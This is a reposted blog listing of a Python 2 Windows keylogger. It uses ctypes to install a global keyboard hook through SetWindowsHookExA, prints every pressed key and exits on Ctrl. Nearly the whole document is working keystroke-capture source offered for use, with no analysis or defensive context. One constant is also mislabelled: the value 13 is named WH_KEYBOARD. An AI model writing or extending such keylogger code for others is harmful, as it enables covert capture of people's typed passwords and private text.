标签:消息 var fun win32 off 子函数 类型 情况下 coding
# -*- coding: utf-8 -*-
import os
import sys
from ctypes import *
from ctypes.wintypes import *
"""
define constants
"""
WH_KEYBOARD = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
class JHKeyLogger(object):
def __init__(self, user32, kernel32):
"""
Description:
Init the keylogger object, the property ‘hook_‘ is the handle to control our hook function
Args:
@(dll)user32: just put windll.user32 here
@(dll)kernel32: just put windll.kernel32 here
Returns:
None
"""
self.user32_ = user32
self.kernel32_ = kernel32
self.hook_ = None
def install_hookproc(self, hookproc):
"""
Description:
install hookproc function into message chain
Args:
@(c type function)hookproc: hookproc is the hook function to call
Returns:
@(bool):
if SetWindowHookExA() function works successfully, return True
else return False
"""
self.hook_ = self.user32_.SetWindowsHookExA(
WH_KEYBOARD,
hookproc,
self.kernel32_.GetModuleHandleW(None),
0)
if not self.hook_:
return False
return True
def uninstall_hookproc(self):
"""
Description:
uninstall the hookproc function which means pick the hookproc pointer off the message chain
Args:
None
Returns:
None
"""
if not self.hook_:
return
self.user32_.UnhookWindowsHookEx(self.hook_)
self.hook_ = None
def start(self):
"""
Description:
start logging, just get the message, the current thread will blocked by the GetMessageA() function
Args:
None
Returns:
None
"""
msg = MSG()
self.user32_.GetMessageA(msg, 0, 0, 0)
def stop(self):
self.uninstall_hookproc()
def hookproc(nCode, wParam, lParam):
"""
Description:
An user-defined hook function
Attention:
here we use the global variable named ‘g_keylogger‘
"""
if wParam != WM_KEYDOWN:
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
pressed_key = chr(lParam[0])
print pressed_key,
# hit ctrl key to stop logging
if CTRL_CODE == lParam[0]:
g_keylogger.stop()
sys.exit(-1)
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
# Attention: pointer must be defined as a global variable
cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
pointer = cfunctype(hookproc)
g_keylogger = JHKeyLogger(windll.user32, windll.kernel32)
def main():
if g_keylogger.install_hookproc(pointer):
print ‘install keylogger successfully!‘
g_keylogger.start()
print ‘hit ctrl to stop‘
if __name__ == ‘__main__‘:
main()
标签:消息 var fun win32 off 子函数 类型 情况下 coding
原文地址:https://www.cnblogs.com/megachen/p/9879224.html